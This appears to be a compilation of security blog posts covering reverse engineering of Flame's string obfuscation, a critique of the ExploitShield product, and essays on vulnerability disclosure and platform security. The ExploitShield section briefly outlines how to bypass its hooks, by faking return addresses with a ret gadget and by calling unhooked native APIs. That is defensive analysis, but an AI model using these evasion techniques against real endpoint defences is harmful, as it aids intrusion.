Introducing Javelin

Javelin

Javelin shows you how modern attackers would approach and exploit your enterprise. By simulating real-time, real-world attack techniques, Javelin identifies which employees are most likely to be targets of spearphishing campaigns, uncovers security infrastructure weaknesses, and compares overall vulnerability against industry competitors. Javelin benchmarks the efficacy of defensive strategies, and provides customized recommendations for improving security and accelerating threat detection. Highly automated, low touch, and designed for easy adoption, Javelin will harden your existing security and information technology infrastructure.

Read more about Javelin on the Javelin Blog.

Semantic Analysis of Native Programs, introducing CodeReason

Introduction

Have you ever wanted to make a query into a native mode program asking about program locations that write a specific value to a register? Have you ever wanted to automatically deobfuscate obfuscated strings?

Reverse engineering a native program involves understanding its semantics at a low level until a high level picture of functionality emerges. One challenge facing a principled understanding of a native mode program is that this understanding must extend to every instruction used by the program. Your analysis must know which instructions have what effects on memory calls and registers.

We’d like to introduce CodeReason, a machine code analysis framework we produced for DARPA Cyber Fast Track. CodeReason provides a framework for analyzing the semantics of native x86 and ARM code. We like CodeReason because it provides us a platform to make queries about the effects that native code has on overall program state. CodeReason does this by having a deep semantic understanding of native instructions.

Building this semantic understanding is time-consuming and expensive. There are existing systems, but they have high barriers to entry or don’t do precisely what we want, or they don’t apply simplifications and optimizations to their semantics. We want to do that because these simplifications can reduce otherwise hairy optimizations to simple expressions that are easy to understand. To motivate this, we’ll give an example of a time we used CodeReason.

Simplifying Flame

Around when the Flame malware was revealed, some of its binaries were posted onto malware.lu. Their overall scheme is to store the obfuscated string in a structure in global data. The structure looks something like this:


struct ObfuscatedString {
char padding[7];
char hasDeobfuscated;
short stringLen;
char string[];
};

Each structure has variable-length data at the end, with 7 bytes of data that were apparently unused.

There are two fun things here. First I used Code Reason to write a string deobfuscator in C. The original program logic performs string deobfuscation in three steps.

The first function checks the hasDeobfuscated field and if it is zero, will return a pointer to the first element of the string. If the field is not zero, it will call the second function, and then set hasDeobfuscated to zero.

The second function will iterate over every character in the ‘string’ array. At each character, it will call a third function and then subtract the value returned by the third function from the character in the string array, writing the result back into the array. So it looks something like:


void inplace_buffer_decrypt(unsigned char *buf, int len) {
int counted = 0;
while( counted < len ) {
unsigned char *cur = buf + counted;
unsigned char newChar = get_decrypt_modifier_f(counted);
*cur -= newChar;
++counted;
}
return;
}

What about the third function, ‘get_decrypt_modifier’? This function is one basic block long and looks like this:


lea ecx, [eax+11h]
add eax, 0Bh
imul ecx, eax
mov edx, ecx
shr edx, 8
mov eax, edx
xor eax, ecx
shr eax, 10h
xor eax, edx
xor eax, ecx
retn

An advantage of having a native code semantics understanding system is that I could capture this block and feed it to CodeReason and have it tell me what the equation of ‘eax’ looks like. This would tell me what this block ‘returns’ to its caller, and would let me capture the semantics of what get_decrypt_modifier does in my deobfuscator.

It would also be possible to decompile this snippet to C, however what I’m really concerned with is the effect of the code on ‘eax’ and not something as high-level as what the code “looks like” in a C decompilers view of the world. C decompilers also use a semantics translator, but then proxy the results of that translation through an attempt at translating to C. CodeReason lets us skip the last step and consider just the semantics, which sometimes can be more powerful.

Using CodeReason

Getting this from CodeReason looks like this:


$ ./bin/VEEShell -a X86 -f ../tests/testSkyWipe.bin
blockLen: 28
r
...
EAX = Xor32[ Xor32[ Shr32[ Xor32[ Shr32[ Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ], I:U8(0x8) ], Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ] ], I:U8(0x10) ], Shr32[ Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ], I:U8(0x8) ] ], Mul32[ Add32[ REGREAD(EAX), I:U32(0xb) ], Add32[ REGREAD(EAX), I:U32(0x11) ] ] ]
...
EIP = REGREAD(ESP)

This is cool, because if I implement functions for Xor32, Mul32, Add32, and Shr32, I have this function in C, like so:


unsigned char get_decrypt_modifier_f(unsigned int a) {
return Xor32(
Xor32(
Shr32(
Xor32(
Shr32(
Mul32(
Add32( a, 0xb),
Add32( a, 0x11) ),
0x8 ),
Mul32(
Add32( a, 0xb ),
Add32( a, 0x11 ) ) ),
0x10 ),
Shr32(
Mul32(
Add32( a, 0xb ),
Add32( a, 0x11 ) ),
0x8 ) ),
Mul32(
Add32( a, 0xb ),
Add32( a, 0x11 ) ) );
}

And this also is cool because it works.


C:\code\tmp>skywiper_string_decrypt.exe
CreateToolhelp32Snapshot

We’re extending CodeReason into an IDA plugin that allows us to make these queries directly from IDA, which should be really cool!

The second fun thing here is that this string deobfuscator has a race condition. If two threads try and deobfuscate the same thread at the same time, they will corrupt the string forever. This could be bad if you were trying to do something important with an obfuscated string, as it would result in passing bad data to a system service or something, which could have very bad effects.

I’ve used CodeReason to attack string obfuscations that were implemented like this:


xor eax eax
push eax
sub eax, 0x21ece84
push eax

Where the sequence of native instructions would turn non-string immediate values into string values (through a clever use of the semantics of twos compliment arithmetic) and then push them in the correct order onto the stack, thereby building a string dynamically each time the deobfuscation code ran. CodeReason was able to look at this and, using a very simple pinhole optimizer, convert the code into a sequence of memory writes of string immediate values, like:


MEMWRITE[esp] = '.dll'
MEMWRITE[esp-4] = 'nlan'

Conclusions

Having machine code in a form where it can be optimized and understood can be kind of powerful! Especially when that is available from a programmatic library. Using CodeReason, we were able to extract the semantics of string obfuscation functions and automatically implement a string de-obfuscator. Further, we were able to simplify obfuscating code into a form that expressed the de-obfuscated string values on their own. We plan to cover additional uses and capabilities of CodeReason in future blog posts.

iVerify is now available on Github

Today we’re excited to release an open-source version of iVerify!

iPhone users now have an easy way to ensure their phones are free of malware.

iVerify validates the integrity of supported iOS devices and detects modifications that malware or jailbreaking would make, without the use of signatures. It runs at boot-time and thoroughly inspects the device, identifying any changes and collecting relevant artifacts for offline analysis.

In order to use iVerify, grab the code from GitHub, put your phone in DFU mode and run the iverify utility. Prompts on screen will indicate whether surreptitious modifications have been made. Visit the GitHub repository for more information about iVerify.

Ending the Love Affair with ExploitShield

Introduction

ExploitShield has been marketed as offering protection “against all known and unknown 0-day day vulnerability exploits, protecting users where traditional anti-virus and security products fail.” I found this assertion quite extraordinary and exciting! Vulnerabilities in software applications are real problems for computer users worldwide. So far, we have been pretty bad at providing actual technology to help individual users defend against vulnerabilities in software.

In my opinion, Microsoft has made the best advances with their Enhanced Mitigation Experience Toolkit. EMET changes the behavior of the operating system to increase the effort attackers have to expend to produce working exploits. There are blog posts that document exactly what EMET does.

In general, I believe that systems that are upfront and public about their methodologies are more trustworthy than “secret sauce” systems. EMET is very upfront about their methodologies, while ExploitShield conceals them in an attempt to derive additional security from obscurity.

I analyzed the ExploitShield system and technology and the results of my analysis follow. To summarize, the system is very predictable, attackers can easily study it and adapt their attacks to overcome it and the implementation itself creates new attack surface. After this analysis, I do not believe that this system would help an individual or organization defend themselves against an attacker with any capability to write their own exploits, 0-day or otherwise.

Caveat

The analysis I performed was on their “Browser” edition. It’s possible that something far more advanced is in their “Corporate” edition, I honestly can’t say because I haven’t seen it. However, given the ‘tone’ of the implementation that I analyzed, and the implementation flaws that are in it, I doubt this possibility and believe that the “Corporate” edition represents just “more of the same.” I am welcome to being proven wrong.

Initial Analysis

Usually we can use some excellent and free tools to get a sense of software’s footprint. I like to use GMER for this. GMER surveys the entire system and uses a cross-view technique to identify patches made to running programs.

If you recall, from ExploitShields marketing information, we see popup boxes that look like this:

This screenshot has some tells in it, for example, why is the path specified? If this was really blocking the ‘exploit’, shouldn’t it never get as far as specifying a path on the file system?

In the following sections, I’ll go over each phase of my analysis as it relates to a component of or a concept within ExploitShield.

ExploitShield uses a Device Driver

One component of the ExploitShield system is a device driver. The device driver uses an operating-system supported mechanism (PsSetCreateProcessNotifyRoutine) to receive notification from the operating system when a process is started by the operating system.

Each time a process starts, the device driver examines this process and optionally loads its own user-mode code module into the starting process. The criteria for loading a user-mode code module is determined by whether or not the starting process is a process that ExploitShield is protecting.

User-Mode Component

The user-mode component seems to exist only to hook/detour specific functions.

The act of function hooking, also called function detouring, involves making modifications to the beginning of a function such that when that function is invoked, another function is invoked instead. The paper on Detours by MS Research explains the concept pretty thoroughly.

Function hooking is commonly used as a way to implement a checker or reference monitor for an application. A security system can detour a function, such as CreateProcessA, and make a heuristics-based decision on the arguments to CreateProcessA. If the heuristic indicates that the behavior is suspect, the security system can take some action, such as failing the call to CreateProcessA or terminating the process.

Hooked Functions

ExploitShield seems to function largely by detouring the following methods:

WinExec
CreateProcessW/A
CreateFileW/A
* ShellExecute
* UrlDownloadToFileW/A
* UrlDownloadToCacheFileW/A

Here we can get a sense of what the authors of ExploitShield meant when they said “After researching thousands of vulnerability exploits ZeroVulnerabilityLabs has developed an innovative patent-pending technology that is able to detect if a shielded application is being exploited maliciously”. These are functions commonly used by shellcode to drop and execute some other program!

Function Hook Behavior

Each function implements a straightforward heuristic. Before any procedure (on x86) is invoked, the address to return to after the procedure is finished is pushed onto the stack. Each hook retrieves the return address off of the stack, and asks questions about the attributes of the return address.

  • Are the page permissions of the address RX (read-execute)?
  • Is the address located within the bounds of a loaded module?

If either of these two tests fail, ExploitShield reports that it has discovered an exploit!

A Confusion of Terms

  • Vulnerability: A vulnerability is a property of a piece of software that allows for some kind of trust violation. Vulnerabilities have a really broad definition. Memory corruption vulnerabilities have had such an impact on computer security that many times, ‘vulnerability’ is used simply as a shorthand for ‘memory corruption vulnerability’ however other kinds of vulnerabilities do exist, for example information disclosure vulnerabilities or authentication bypass vulnerabilities. An information disclosure vulnerability could sometimes be worse for individual privacy than a memory corruption vulnerability.
  • Exploit: An exploit is a software or procedure that uses a vulnerability to effect some action, usually to execute a payload.
  • Payload: Attacker created software that executes after a vulnerability has been used to compromise a system.

It is my belief that when ExploitShield uses the term ‘exploit’, they really mean ‘payload’.

A Good Day for ExploitShield

So what is a play by play of ExploitShield functioning as expected? Let’s take a look, abstracting the details of exactly which exploit is used:

  1. A user is fooled into navigating to a malicious web page under the attackers control. They can’t really be blamed too much for this, they just need to make this mistake once and the visit could be the result of an attacker compromising a legitimate website and using it to serve malware.
  2. This web page contains an exploit for a vulnerability in the user’s browser. The web browser loads the document that contains the exploit and begins to parse and process the exploit document.
  3. The data in the exploit document has been modified such that the program parsing the document does something bad. Let’s say that what the exploit convinces the web browser to do is to overwrite a function pointer stored somewhere in memory with a value that is the address of data that is also supplied by the exploit. Next, the vulnerable program calls this function pointer.
  4. Now, the web browser executes code supplied by the exploit. At this point, the web browser has been exploited. The user is running code supplied by the attacker / exploit. At this point, anything could happen. Note how we’ve made it all the way through the ‘exploitation’ stage of this process and ExploitShield hasn’t entered the picture yet.
  5. The executed code calls one of the hooked functions, say WinExec. For this example, let’s say that the code executing is called from a page that is on the heap, so its permissions are RWX (read-write-execute).

ExploitShield is great if the attacker doesn’t know it’s there, and, isn’t globally represented enough to be a problem in the large for an attacker. If the attacker knows it’s there, and cares, they can bypass it trivially.

A Bad Day for ExploitShield

If an attacker knows about ExploitShield, how much effort does it take to create an exploit that does not set off the alarms monitored by ExploitShield? I argue it does not take much effort at all. Two immediate possibilities come to mind:

  • Use a (very) primitive form of ROP (Return-Oriented Programming). Identify a ret instruction in a loaded module and push that onto the stack as a return address. Push your return address onto the stack before this address. The checks made by ExploitShield will pass.
  • Use a function that is equivalent to one of the hooked functions, but is not the hooked function. If CreateProcess is hooked, use NtCreateProcess instead.

Both of these would defeat the protections I discovered in ExploitShield. Additionally, these techniques would function on systems where ExploitShield is absent, meaning that if an attacker cared to bypass ExploitShield when it was present they would only need to do the work of implementing these bypasses once.

Obscurity Isn’t Always Bad

The principle of ‘security through obscurity’ is often cited by security nerds as a negative property for a security system to hold. However, obscurity does actually make systems more secure as long as the defensive system remains obscure or unpredictable. The difficulty for obscurity-based defensive techniques lies in finding an obscure change that can be made with little cost and that the attacker can’t adapt to before they are disrupted by it, or a change that can be altered for very little cost when its obscurity is compromised.

For example, consider PatchGuard from Microsoft. PatchGuard ‘protects’ the system by crashing when modifications are detected. The operation of PatchGuard is concealed and not published by Microsoft. As long as PatchGuards operation is obscured and secret, it can protect systems by crashing them when it detects modification made by a rootkit.

However, PatchGuard has been frequently reverse engineered and studied by security researchers. Each time a researcher has sat down with the intent to bypass PatchGuard, they have met with success. The interesting thing is what happens next: at some point in the future, Microsoft silently releases an update that changes the behavior of PatchGuard such that it still accomplishes its goal of crashing the system if modifications are detected, but is not vulnerable to attacks created by security researchers.

In this instance, obscurity works. It’s very cheap for Microsoft to make a new PatchGuard, indeed the kernel team might have ten of them “on the bench” waiting for the currently fielded version to be dissected and bypassed. This changes the kernel from a static target into a moving target. The obscurity works because it is at Microsoft’s initiative to change the mechanism, changes are both cheap and effective, and the attacker can’t easily prepare to avoid these changes when they’re made.

The changes that ExploitShield introduces are extremely brittle and cannot be modified as readily. Perhaps if ExploitShield was an engine to quickly deliver a broad variety of runtime changes and randomly vary them per application, this dynamic would be different.

Some Implementation Problems

Implementing a HIPS correctly is a lot of work! There are fiddly engineering decisions to make everywhere and as the author you are interposing yourself into a very sticky security situation. ExploitShield makes some unnecessary implementation decisions.

The IOCTL Interface

The driver exposes an interface that is accessible to all users. Traditional best-practices for legacy Windows drivers ask that interfaces to the driver only be accessible to the users that should access it. The ExploitShield interface is accessible to the entire system however, including unprivileged users.

The driver processes messages that are sent to it. I didn’t fully discover what type of messages these are, or their format, however IOCTL handling code is full of possibilities for subtle mistakes. Any mistake present inside of the IOCTL handling code could lead to a kernel-level vulnerability, which would compromise the security of your entire system.

This interface creates additional attack surface.

The Hook Logic

Each hook invokes a routine to check if the return address is located in a loaded module. This routine makes use of a global list of modules that is populated only once by a call to EnumerateLoadedModules with a programmer-supplied callback. There are two bugs in ExploitShields methodology to retrieve the list of loaded modules.

The first bug is that there is apparently no mutual exclusion around the critical section of populating the global list. Multiple threads can call CreateProcessA at once, so it is theoretically possible for the user-mode logic to place itself into an inconsistent state.

The second bug is that the modules are only enumerated once. Once EnumerateLoadedModules has been invoked, a global flag is set to true and then EnumerateLoadedModules is never invoked again. If the system observes a call to CreateProcess, and then a new module is subsequently loaded, and that module has a call to CreateProcess, the security system will erroneously flag that module as an attempted exploit.

Neither of these flaws expose the user to any additional danger, they just indicate poor programming practice.

Why Hook At All?

An especially baffling decision made in the implementation of ExploitShield is the use of hooks at all! For each event that ExploitShield concerns itself with (process creation and file write), there are robust callback infrastructures present in the NT kernel. Indeed, authors of traditional anti-virus software so frequently reduced system stability with overly zealous use of hooks that Microsoft very strongly encouraged them to use this in-kernel monitoring API.

ExploitShield uses unnecessarily dangerous programming practices to achieve effects possible by using legitimate system services, possibly betraying a lack of understanding of the platform they aim to protect.

The Impossibility of ExploitShield’s success

What can ExploitShield do to change this dynamic? The problem is, not much. Defensive systems like this are wholly dependent on obscurity. Once studied by attackers, the systems lose their value. In the case of software like this, one problem is that the feedback loop does not inform the authors or users of the security software that the attacker has adapted to the security system. Another problem is that the obscurity of a system is difficult to maintain. The software has to be used by customers, so it has to be available in some sense, and if it is available for customers, it will most likely also be available for study by an attacker.

What Hope Do We Have?

It’s important to note that EMET differs from ExploitShield in an important regard: EMET aims to disrupt the act of exploiting a program, while ExploitShield aims to disrupt the act of executing a payload on a system. These might seem like fine points, however a distinction can be made around “how many choices does the attacker have that are effective”. When it comes to executing payloads, the attackers choices are nearly infinite since they are already executing arbitrary code.

In this regard, EMET is generally not based on obscurity. The authors of EMET are very willing to discuss in great detail the different mitigation strategies they implement, while the author of ExploitShield has yet to do so.

Generally, I believe if a defensive technique makes a deterministic change to program or run-time behavior, an attack will fail until it is adapted to this technique. The effectiveness of the attack relies on the obscurity of the technique, and on whether the change impacts the vulnerability, exploit, or payload. If the attack cannot be adapted to the modified environment, then the obscurity of the mitigation is irrelevant.

However, what if the technique was not obscure, but was instead unpredictable? What if there was a defensive technique that would randomly adjust system implementation behavior while preserving the semantic behavior of the system as experienced by the program? What is needed is identification of properties of a system that, if changed, would affect the functioning of attacks but would not change the functioning of programs.

When these properties are varied randomly, the attacker has fewer options. Perhaps they are aware of a vulnerability that can transcend any permutation of implementation details. If they are not, however, they are entirely at the mercy of chance for whether or not their attack will succeed.

Conclusion

ExploitShield is a time capsule containing the best host-based security technology that 2004 had to offer. In my opinion, it doesn’t represent a meaningful change in the computer security landscape. The techniques used hinge wholly on obscurity and secrecy, require very little work to overcome and only affect the later stage of computer attacks, the payload, and not the exploit.

When compared to other defensive technologies, ExploitShield comes up short. It uses poorly implemented techniques that work against phases of the attack that require very little attacker adaptation to overcome. Once ExploitShield gains enough market traction, malware authors and exploit writers will automate techniques that work around it.

ExploitShield even increases your attack surface, by installing a kernel-mode driver that will processes messages sent by any user on the system. Any flaws in that kernel-mode driver could result in the introduction of a privilege escalation bug into your system.

The detection logic it uses to find shellcode is not wholly flawed, it contains an implementation error that could result in some false positives, however it is generally the case that a call to a runtime library function, with a return address that is not in the bounds of a loaded module, is suspicious. The problem with this detection signature is that it is trivially modified to achieve the same effect. Additionally, this detection signature is not novel, HIPS products have implemented this check for a long time.

This is a shame, because, in my opinion, there is still some serious room for innovation in this type of software…

Analyzing the MD5 collision in Flame

One of the more interesting aspects of the Flame malware was the MD5 collision attack that was used to infect new machines through Windows Update. MD5 collisions are not new, but this is the first attack discovered in the wild and deserves a more in-depth look. Trail of Bits is uniquely qualified to perform this analysis, because our co-founder Alex Sotirov was one of the members in the academic collaboration that first demonstrated the practicality of this class of attacks in 2008. Our preliminary findings were presented on June 9th at the SummerCon conference in New York and are available online or as a PDF download.

One Exploit Should Not Ruin Your Day

Now that the media excitement of the aftermath of Operation Aurora has calmed down and we are all soothing ourselves to sleep by the sound of promptly applying Windows Updates, it is a good time to take a look back and try and figure out what the changing threat landscape means for real-world information security (besides Selling! More! Security! Products!) and what lessons can be learned from it.

First off, the threat landscape has not changed at all, only the perception of it.  If you have done or been around any high-level incident response, you would know that these advanced persistent threats have been going on in various sectors for years.  Nor is it a new development that the attackers used an 0day client-side exploit along with targeted social engineering as their initial access vector.  What is brand new is the fact that a number of large companies have voluntarily gone public with the fact that they were victims to a targeted attack.  And this is the most important lesson: targeted attacks do exist and happen to a number of industries besides the usual ones like credit card processors and e-commerce shops.

For the last decade of the information security industry, almost all of the products and solutions have been designed to stop casual opportunistic attackers and mass Internet-scale attacks.  Moreover, these products are absolutely worthless in protecting you from an Aurora-style attack.  Your software vendor doesn’t have a patch for the vulnerability, your anti-virus and/or network intrusion prevention systems don’t have signatures for the exploit or agent it installs, and the 3rd-party software that your business needs to run prevents you from upgrading your desktops to the latest and greatest operating system and/or browser with the most complete exploit mitigations due to a lack of compatibility.  How many of these large security product vendors employ even one full-time person to play the role of a dedicated attacker attempting to bypass or defeat their defensive systems?  Or have even hired one attack-oriented consultant on a contract for an independent assessment of the efficacy of their product or solution?  Don’t let the same product vendors who failed to protect the victims of Operation Aurora turn right around and sell you those same products as a solution to “the APT threat.”

Second, Operation Aurora has no bearing on the vulnerability disclosure debate.  This particular vulnerability was apparently reported to Microsoft in August and scheduled to be patched in February.  Some are arguing that had this vulnerability been reported via full-disclosure to everyone all at once, it would not have been used in these attacks.  They are right.  The reality, however, is that another vulnerability would have been used instead.  These attacks show that the vulnerability disclosure debate and responsible disclosure process is simply a distraction that prevents us from actually improving security.  Remember, a vulnerability never owned anyone — an exploit did.  I am not arguing that vulnerabilities should not be fixed, simply that it is impossible to find and fix every security vulnerability so we should not let that obsession monopolize our efforts and prevent us from implementing more secure application and network designs.

Finally, the larger problem is that it only took one exploit to compromise these organizations.  One exploit should never ruin your day.  Isn’t that why we build DMZ networks with firewalls in front and behind them?  The point of doing that is so that it requires more than one server-side exploit to get into your organization.  Thanks to rich Internet client applications, it now only requires one client-side exploit to get into your organization.  Ideally, it should require around three or four: a remote code execution exploit, a sandbox escape or integrity level escalation exploit, and finally a local privilege escalation exploit in order to be able to install and hide a remote access backdoor on the system.  Also, workstations that receive e-mail and instant messages from strangers, visit random web sites, and download/install whatever software from the Internet should probably not be on the same network as something like your lawful intercept system.

Take this time to review which exploit mitigations such as DEP and ASLR are enabled in your web browser based on your operating system, browser release, and web plugins.  Take ‘/NoExecute=AlwaysOn’ for a spin in your boot.ini and see what (if anything) breaks.  Use this opportunity to get buy-in for placing users’ Internet-enabled workstations onto DMZ-like subnets where you can closely monitor data going in and out.  Give developers remote desktop access to VMs on a separate development network for working on your products (they will be happy as long as you give the VMs more RAM than their workstations so their builds are quicker).  Give everyone access to an external Wi-Fi network to use with their personal Internet-enabled devices.  Get started implementing some internal network segmentation.  Never let a good crisis go to waste.

ARM versus x86

At Hack in the Box in Kuala Lumpur this year, I was interviewed by Sumner Lemon of IDG about various Mac and iPhone-related security topics.  One of the topics was the relative security of ARM versus x86 processors and my comments on this seem to have bounced around the internets a bit.  There seems to have been some confusion over what I meant in my statements, so I thought I’d provide some clarification here on the technical and economic rationale behind this statement.

First, the technical rationale: The classic x86 architecture (pre NX-bit) is an exploit developer’s dream.  Almost every other architecture has complications that x86 almost coincidentally does not.  For example, SPARC has register windows, PowerPCs can have separate data and instruction caches, any RISC architecture has alignment requirements, most architectures support non-executable memory, and all of these make writing exploits on these platforms more difficult.  The x86 had none of these speedbumps and only started supporting truly non-executable memory somewhat recently.  Finally, the x86 instruction set is incredibly flexible, allowing all sorts of ingenious techniques for self-modifying code to evade character filters and intrusion detection systems.  Of course, this was all possible on other architectures as well (see ADMutate‘s SPARC support), but x86 makes it way easier and more powerful.  I have a hard time imagining what could be changed in x86 to make a better target for exploit developers.

Since cybercrime and malware has become a significantly sized industry, it makes a lot of sense to analyze the risk presented by it through economics (and game theory).  Attackers have a lot of infrastructure already built that is x86-specific.  Besides exploit development experience, this also includes payload encoders and hand-written assembly exploit payloads.  Rewriting these takes time and effort.  Macs (and iPhones, as postulated in the article) using x86 processors allow attackers to carry over their experience and existing infrastructure, slightly lowering the barrier to entry to begin attacking a new platform.  If a new platform with marketshare X% starts attracting malware authors’ attention, a new platform with a familiar processor may attract malware authors’ attention at (X – Y)% marketshare (where Y is probably less than 10).  In the end, however, this earlier attention most likely matters less to the product vendor than the deep discount or performance improvements they can get by going with a dominant CPU architecture and manufacturer.

In summary, just about any commodity non-x86 CPU-based system is harder to write exploits for than an x86-based system assuming the same operating system is running on both.  But it does not matter because these differences are just speed bumps and a good exploit developer will be able to work around them.  Vendors should focus on the generic security defenses that they can build into their operating systems and application runtime environments as well as focus on eliminating software vulnerabilities before and after their software is shipped rather than caring what processor architecture they use and whatever impact it may have on attacks against their platform.

Finally, I would also like to make a retraction.  In the same interview, I said that I considered the iPhone OS to be “significantly less secure” than the desktop Mac OS X.  While I would still consider the iPhone OS 1.x to be less secure than Leopard, the iPhone OS 2.2 is quite the opposite.  A number of improvements, including a smaller attack surface, application sandboxes, a non-executable heap, and mandatory code signing for every executable launched (not just applications, even low-level binaries) make compromising the special-purpose iPhone more difficult than the general-purpose desktop Mac OS X.  For more details on the security improvements in the latest iPhone OS, see Charlie Miller’s HiTBSecConf presentation.  Of course, this primarily applies to unjailbroken iPhones since a jailbroken iPhone allows execution of unsigned binaries and it seems that most jailbroken phones still have an SSH server running with the default root account password anyway.  Qualitative comparisons of security are very difficult to whittle down into a one sentence summary, but that’s why organizations (hopefully) have security analysts around and don’t make all of their decisions based on what they read on the Internet.

Evolution is Punctuated Equilibria

In evolutionary biology, the theory of punctuated equilibiria states that evolution is not a gradual process but instead consists of long periods of stasis interrupted by rapid, catastrophic change.  This is supported by fossil evidence that shows little variation within a species and new species that appear to come out of nowhere.  These changes are found to occur in small groups on the periphery of the central population where selection pressures are higher and often in response to changes in the external environment.  Eventually those peripheral groups replace the dominant species in an abrupt change.  While this theory has also been applied to the social sciences and business, it also applies to Internet security.

In the late 80′s, it was the “summer of love” era on the Internet.  Research institutions and universities were freely connecting to each other in a way that would make anyone of modern Internet sensibilities blush.  Internet sites regularly engaged in risky behavior, including exchanging traffic without the use of a protective firewall to protect against accidental infections (as such things were rare in those days).  Most users used weak passwords and some (Richard Stallman, notably) used none at all.  And then, just like in the Guns N’ Roses music video, the party was unceremoniously ended in the sudden cold November rain.  The Morris Worm swept through the Internet, taking machines down faster than anyone could imagine.  The era of innocence and non-disclosure of security vulnerabilities on the Internet had come to a close.

After the Internet worm, a variety of organizations were quickly established in order to track and address vulnerabilities in the Internet infrastructure.  The Computer Emergency Response Team (CERT) was established to handle any similar situations and a variety of mailing lists such as Phage, the Zardoz Security Digest, and Core Security Mailing List were established to discuss and track security vulnerabilities.  All of these lists and groups, however, were closed communities and the CERT security advisories were light on details in fear that revealing full details would enable attackers.  Thus began the era of partial-disclosure of security vulnerabilities.

A small full-disclosure movement began to grow on the periphary of the Internet.  This community believed that CERT was doing the community a disservice by not pressuring vendors to address vulnerabilities and revealing full information because system administrators were not able to determine whether they were vulnerable or not and should take the potentially disruptive risk of patching security vulnerabilities.  With full-disclosure, all parties are notified of the vulnerability at the same time.  Vendors are pressured to address serious vulnerabilities quickly and users have enough information to decide whether they should work around the vulnerability and/or apply the patch when it becomes available.  This community was centered around the Bugtraq mailing list.  This community quickly grew through the mid 90′s and early 2000′s until it became the dominant method of vulnerability disclosure on the Internet.

If the late 80′s was the era of free love on the Internet, the late 90′s and early 2000′s was the era of free exploits.  Fully working exploits for serious vulnerabilities were regularly published on Bugtraq often as part of the disclosure of the vulnerability.  These were often remote privileged code execution exploits in serious Internet infrastructure like BIND, SSH, NCSA HTTPD, Sendmail, and Apache.  These exploits allowed administrators to easily test if they were vulnerable or not.  If they ran the exploit and they got a remote shell, they were definitely vulnerable.  Similarly, if someone wanted to take joyrides on the Internet, all they had to do was subscribe to Bugtraq, wait for an exploit to be posted, and then start scanning for vulnerable machines.  Thus were “script kiddies” born.  This environment continued through the early 2000′s.

The early to mid-2000′s could be considered the hangover from the free love 80′s and free exploit 90′s of the Internet.  Instead of Internet worms being a one-time event, they became an almost regular occurrence with ILOVEYOU (May 4, 2000), Code Red (July 13, 2001), Code Red II (August 4, 2001), Nimda (September 18, 2001), SQL Slammer (January 24, 2003), Blaster (August 12, 2003), and many others in between.  Many of these worms used exploits that had been posted publicly to Bugtraq to spread.  Clearly something was not right.  This onslaught of Internet-crippling worm outbreaks quickly brought about several evolutions in Internet security: “responsible” disclosure, the home router firewall, and Microsoft’s Security Push and Secure Development Lifecycle (SDL).  It was no longer enough to respond to security vulnerabilities and incidents as they happened; Internet security required proactive measures to protect against future disasters.

From 2003 until roughly the present, “responsible” disclosure and the duality of offensive security research and defensive security products have driven the security industry forward.  Security researchers have investigated and discovered volumes of security weaknesses, vulnerabilities, and attacks.  All of these have required security patches, restructuring, and risk mitigating technologies née product opportunities: anti-virus, firewalls, intrusion detection/prevention, patch management, etc.  Hundreds of vulnerabilities have been “responsibly” disclosed and patched.  Patching has become a monthly Shamanistic ritual for most IT departments.  There are now defensive security products to defend against every possible perceived security threat (imagined and real).

With all of this, Internet malware has only become more prevalent on users’ systems.  The United States Departments of Commerce, State, and Defense, have sustained targeted attacks and on multiple occasions detected large amounts of sensitive information being remotely extracted from their networks.  There is a serious DNS cache poisoning vulnerability that currently affects 50% of the nameservers on the Internet, almost a month after the issue has been disclosed throughout the tech and mainstream media and a week after a highly-effective exploit for it has been publicly released.  The Internet security community is holding its breath waiting for (hoping for?) widespread attacks, perhaps to justify their continued existence.

Clearly, we are not any closer to securing the Internet, if that is even possible.  If anything, the dangers on the Internet have gotten worse as the malicious actors have changed from joyriding teenagers to Internet worms to espionage and organized crime.  Right now, Internet security is due for another period of rapid change.

UPDATE @ 20080729: As pointed out in the comments below, the “cybercrime is bigger than drugs” figure is bogus.  I have removed it and instead used a reference to Microsoft’s latest Security Intelligence Report showing a general growth in malware.

ARDAgent Exploit, MacOS X Malware, and Snow Leopard, Oh My!

As also reported by Intego and Matasano, a new local privilege escalation vulnerability has been found that gives local root access on MacOS X Tiger and Leopard.  While Intego calls this a critical vulnerability, I’m mostly with Ptacek on this one where I am saying this vulnerability is not nearly that serious.  For one, it only works when it is run as the user who is logged into the console.  This means that no MacOS X servers are affected by this, but it can allow a web exploit or trojan horse to gain root access without the user’s knowledge or permission.  Also while root access is pretty serious, it is not necessary in order for the malware to do bad things to your system (i.e. install itself to run automatically, backdoor Safari, etc).  So I will dub this a serious, but not critical, vulnerability.

Perhaps the most interesting fact about this vulnerability is where it came from: a  thread (from Google cache because the forums seem to be down now) on the forums at Mac Shadows, a mac underground web site.  The aforementioned thread was discussing how to build AppleScript-based trojans until “callmenames” discovered the vulnerability and the discussion moved towards the vulnerability and ensuing news and attention.  And at the time of writing, the forums on the site have been taken offline.

The big question on everyone’s mind is when malware will begin to seriously affect MacOS X and what will happen when it does.  As for when, I am betting that it completely depends on market share, as per Adam O’Donnell’s game theoretic analysis.  As for how bad, that will all depend on Snow Leopard: when it will ship, how it will improve MacOS X security, and how many users will install it.

Snow Leopard will hopefully raise the bar for MacOS X as much as Vista did for Windows.  Of course it won’t stop all security attacks, but it should make exploiting them beyond the reach of most attackers.  I’d personally like to see the following improvements:

  • Real address space layout randomization.  Library randomization with dyld loaded at a fixed location just doesn’t cut it.
  • Full use of hardware-enforced Non-eXecutable memory (NX).  Currently, only the stack segments are enforced to be non-executable.  Welcome to the new millennium where buffer overflows aren’t only on the stack.
  • Default 64-bit native execution for any security-sensitive processes.  I don’t particularly care that it may waste 5% more memory and a little bit of speed, I want Safari, Mail.app and just about everything else that has security exposure to run as a 64-bit process.  Simply because function arguments are passed in registers rather than on the stack, this makes working around ASLR and NX damn near impossible for many exploits.
  • Sandbox policies for Safari, Mail.app, and third-party applications.  Code execution vulnerabilities aren’t the only kind of vulnerabilities and good sandbox policies for security-exposed applications can help mitigate the exploitation of code execution and other vulnerabilities in these applications.  I love the scheme-based policies, by the way.
